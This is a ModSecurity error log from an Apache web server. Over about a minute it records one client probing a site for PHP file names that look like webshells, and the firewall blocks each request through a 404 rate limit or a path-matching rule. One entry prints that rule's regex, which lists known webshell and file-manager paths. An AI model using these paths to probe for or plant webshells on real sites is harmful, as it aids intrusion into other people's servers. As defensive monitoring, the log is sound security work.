[Mon Apr 20 19:47:42.054614 2026] [:error] [pid 11494:tid 11499] [client 20.251.55.245:15438] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aeYSXsgko5iFiE8YoyTPJwAAAYM"]
[Mon Apr 20 19:47:42.745472 2026] [:error] [pid 11350:tid 11375] [client 20.251.55.245:15479] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aeYSXv4EoMBgOJuJnT2QmwAAABA"]
[Mon Apr 20 19:47:43.321008 2026] [:error] [pid 11351:tid 11398] [client 20.251.55.245:15473] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aeYSXwN8Z1-vktaI_tPmUQAAAEs"]
[Mon Apr 20 19:47:43.946390 2026] [:error] [pid 11351:tid 11403] [client 20.251.55.245:15478] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYSXwN8Z1-vktaI_tPmUwAAAFA"]
[Mon Apr 20 19:47:44.852880 2026] [:error] [pid 11350:tid 11365] [client 20.251.55.245:15485] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYSYP4EoMBgOJuJnT2QoQAAAAY"]
[Mon Apr 20 19:47:45.985632 2026] [:error] [pid 11494:tid 11498] [client 20.251.55.245:15426] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYSYcgko5iFiE8YoyTPNgAAAYI"]
[Mon Apr 20 19:47:47.102818 2026] [:error] [pid 11352:tid 11428] [client 20.251.55.245:15394] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aeYSY2l10mhMSfJ7ir_MvgAAAI4"]
[Mon Apr 20 19:47:48.271960 2026] [:error] [pid 42014:tid 42016] [client 20.251.55.245:15448] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad821.php"] [unique_id "aeYSZMek-00-ZI0f1Np2hQAAAQA"]
[Mon Apr 20 19:47:49.932750 2026] [:error] [pid 11351:tid 11392] [client 20.251.55.245:15471] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad821.php"] [unique_id "aeYSZQN8Z1-vktaI_tPmagAAAEU"]
[Mon Apr 20 19:47:52.847010 2026] [:error] [pid 42014:tid 42027] [client 20.251.55.245:15408] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad821.php"] [unique_id "aeYSaMek-00-ZI0f1Np2iQAAAQs"]
[Mon Apr 20 19:47:55.292852 2026] [:error] [pid 11351:tid 11393] [client 20.251.55.245:15404] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad821.php"] [unique_id "aeYSawN8Z1-vktaI_tPmdAAAAEY"]
[Mon Apr 20 19:47:57.082751 2026] [:error] [pid 11352:tid 11435] [client 20.251.55.245:15475] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8210.php"] [unique_id "aeYSbWl10mhMSfJ7ir_MywAAAJU"]
[Mon Apr 20 19:47:58.765038 2026] [:error] [pid 11350:tid 11370] [client 20.251.55.245:15420] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8210.php"] [unique_id "aeYSbv4EoMBgOJuJnT2QwgAAAAs"]
[Mon Apr 20 19:48:00.238984 2026] [:error] [pid 11351:tid 11401] [client 20.251.55.245:15444] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8210.php"] [unique_id "aeYScAN8Z1-vktaI_tPmiAAAAE4"]
[Mon Apr 20 19:48:01.399302 2026] [:error] [pid 11350:tid 11379] [client 20.251.55.245:15474] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8210.php"] [unique_id "aeYScf4EoMBgOJuJnT2QyAAAABQ"]
[Mon Apr 20 19:48:02.433122 2026] [:error] [pid 11351:tid 11410] [client 20.251.55.245:15380] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYScgN8Z1-vktaI_tPmlwAAAFc"]
[Mon Apr 20 19:48:03.990358 2026] [:error] [pid 11350:tid 11359] [client 20.251.55.245:15377] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYSc_4EoMBgOJuJnT2Q0QAAAAA"]
[Mon Apr 20 19:48:04.563585 2026] [:error] [pid 11441:tid 11450] [client 20.251.55.245:15390] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYSdMixByFUvmh319CNSgAAAMc"]
[Mon Apr 20 19:48:05.403325 2026] [:error] [pid 42014:tid 42029] [client 20.251.55.245:15467] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYSdcek-00-ZI0f1Np2lQAAAQ0"]
[Mon Apr 20 19:48:05.977071 2026] [:error] [pid 11351:tid 11402] [client 20.251.55.245:15442] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aeYSdQN8Z1-vktaI_tPmoAAAAE8"]
[Mon Apr 20 19:48:06.613626 2026] [:error] [pid 6928:tid 6949] [client 20.251.55.245:15429] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aeYSdh3y7MHq1iB0qYqhoQAAAVM"]
[Mon Apr 20 19:48:08.055764 2026] [:error] [pid 11351:tid 11402] [client 20.251.55.245:15437] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aeYSeAN8Z1-vktaI_tPmpwAAAE8"]
[Mon Apr 20 19:48:09.182214 2026] [:error] [pid 11494:tid 11519] [client 20.251.55.245:15436] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/man.php"] [unique_id "aeYSecgko5iFiE8YoyTPWAAAAZc"]
[Mon Apr 20 19:48:10.008251 2026] [:error] [pid 6928:tid 6946] [client 20.251.55.245:15372] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeYSeh3y7MHq1iB0qYqhpQAAAVA"]
[Mon Apr 20 19:48:10.614929 2026] [:error] [pid 42014:tid 42016] [client 20.251.55.245:15323] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeYSesek-00-ZI0f1Np2mwAAAQA"]
[Mon Apr 20 19:48:11.217514 2026] [:error] [pid 42014:tid 42037] [client 20.251.55.245:15469] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeYSe8ek-00-ZI0f1Np2nAAAARU"]
[Mon Apr 20 19:48:11.766454 2026] [:error] [pid 42014:tid 42022] [client 20.251.55.245:15445] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "aeYSe8ek-00-ZI0f1Np2ngAAAQY"]
[Mon Apr 20 19:48:12.503251 2026] [:error] [pid 11441:tid 11447] [client 20.251.55.245:15317] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeYSfMixByFUvmh319CNUAAAAMQ"]
[Mon Apr 20 19:48:13.818900 2026] [:error] [pid 11441:tid 11449] [client 20.251.55.245:15452] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeYSfcixByFUvmh319CNVwAAAMY"]
[Mon Apr 20 19:48:14.602410 2026] [:error] [pid 11351:tid 11408] [client 20.251.55.245:15462] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeYSfgN8Z1-vktaI_tPmuQAAAFU"]
[Mon Apr 20 19:48:15.443192 2026] [:error] [pid 11441:tid 11463] [client 20.251.55.245:15427] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeYSf8ixByFUvmh319CNXAAAANQ"]
[Mon Apr 20 19:48:24.119121 2026] [:error] [pid 11441:tid 11455] [client 20.251.55.245:15398] [client 20.251.55.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aeYSiMixByFUvmh319CNewAAAMw"]
[Mon Apr 20 19:48:25.241821 2026] [:error] [pid 11350:tid 11375] [client 20.251.55.245:15379] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeYSif4EoMBgOJuJnT2Q5gAAABA"]
[Mon Apr 20 19:48:25.846893 2026] [:error] [pid 11352:tid 11434] [client 20.251.55.245:15306] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeYSiWl10mhMSfJ7ir_M5QAAAJQ"]
[Mon Apr 20 19:48:26.531230 2026] [:error] [pid 11441:tid 11445] [client 20.251.55.245:15417] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeYSisixByFUvmh319CNfQAAAMI"]
[Mon Apr 20 19:48:27.072147 2026] [:error] [pid 42014:tid 42018] [client 20.251.55.245:15440] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aeYSi8ek-00-ZI0f1Np2qgAAAQI"]
[Mon Apr 20 19:48:28.183723 2026] [:error] [pid 11350:tid 11362] [client 20.251.55.245:15441] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeYSjP4EoMBgOJuJnT2Q7AAAAAM"]
[Mon Apr 20 19:48:29.209021 2026] [:error] [pid 42014:tid 42026] [client 20.251.55.245:15423] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeYSjcek-00-ZI0f1Np2rAAAAQo"]
[Mon Apr 20 19:48:30.653157 2026] [:error] [pid 11350:tid 11360] [client 20.251.55.245:15484] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeYSjv4EoMBgOJuJnT2Q-AAAAAE"]
[Mon Apr 20 19:48:32.337651 2026] [:error] [pid 11351:tid 11400] [client 20.251.55.245:15389] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aeYSkAN8Z1-vktaI_tPm0gAAAE0"]
[Mon Apr 20 19:48:33.702271 2026] [:error] [pid 11441:tid 11448] [client 20.251.55.245:15402] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeYSkcixByFUvmh319CNhwAAAMU"]
[Mon Apr 20 19:48:36.179787 2026] [:error] [pid 11441:tid 11466] [client 20.251.55.245:15299] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeYSlMixByFUvmh319CNjwAAANc"]
[Mon Apr 20 19:48:37.482158 2026] [:error] [pid 11494:tid 11499] [client 20.251.55.245:15486] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeYSlcgko5iFiE8YoyTPaAAAAYM"]
[Mon Apr 20 19:48:39.275382 2026] [:error] [pid 6928:tid 6953] [client 20.251.55.245:15365] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeYSlx3y7MHq1iB0qYqh5gAAAVc"]
[Mon Apr 20 19:48:40.130099 2026] [:error] [pid 42014:tid 42033] [client 20.251.55.245:15413] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aeYSmMek-00-ZI0f1Np2tAAAARE"]
[Mon Apr 20 19:48:40.794842 2026] [:error] [pid 11494:tid 11511] [client 20.251.55.245:15411] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aeYSmMgko5iFiE8YoyTPcAAAAY8"]
[Mon Apr 20 19:48:41.336998 2026] [:error] [pid 11441:tid 11450] [client 20.251.55.245:15383] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aeYSmcixByFUvmh319CNmQAAAMc"]
[Mon Apr 20 19:48:41.903483 2026] [:error] [pid 11494:tid 11505] [client 20.251.55.245:15430] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aeYSmcgko5iFiE8YoyTPcwAAAYk"]
[Mon Apr 20 19:48:42.553805 2026] [:error] [pid 42014:tid 42018] [client 20.251.55.245:15297] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeYSmsek-00-ZI0f1Np2tgAAAQI"]
[Mon Apr 20 19:48:43.240665 2026] [:error] [pid 6928:tid 6942] [client 20.251.55.245:15310] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeYSmx3y7MHq1iB0qYqh8wAAAUw"]
[Mon Apr 20 19:48:43.902954 2026] [:error] [pid 11350:tid 11371] [client 20.251.55.245:15461] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeYSm_4EoMBgOJuJnT2RCAAAAAw"]
[Mon Apr 20 19:48:44.561368 2026] [:error] [pid 11351:tid 11402] [client 20.251.55.245:15388] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeYSnAN8Z1-vktaI_tPm4gAAAE8"]
[Mon Apr 20 19:48:45.470838 2026] [:error] [pid 11350:tid 11382] [client 20.251.55.245:15428] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeYSnf4EoMBgOJuJnT2RDwAAABc"]
[Mon Apr 20 19:48:46.649470 2026] [:error] [pid 11350:tid 11383] [client 20.251.55.245:15313] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeYSnv4EoMBgOJuJnT2RFgAAABg"]
[Mon Apr 20 19:48:47.388070 2026] [:error] [pid 11350:tid 11373] [client 20.251.55.245:15396] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aeYSn_4EoMBgOJuJnT2RIAAAAA4"]
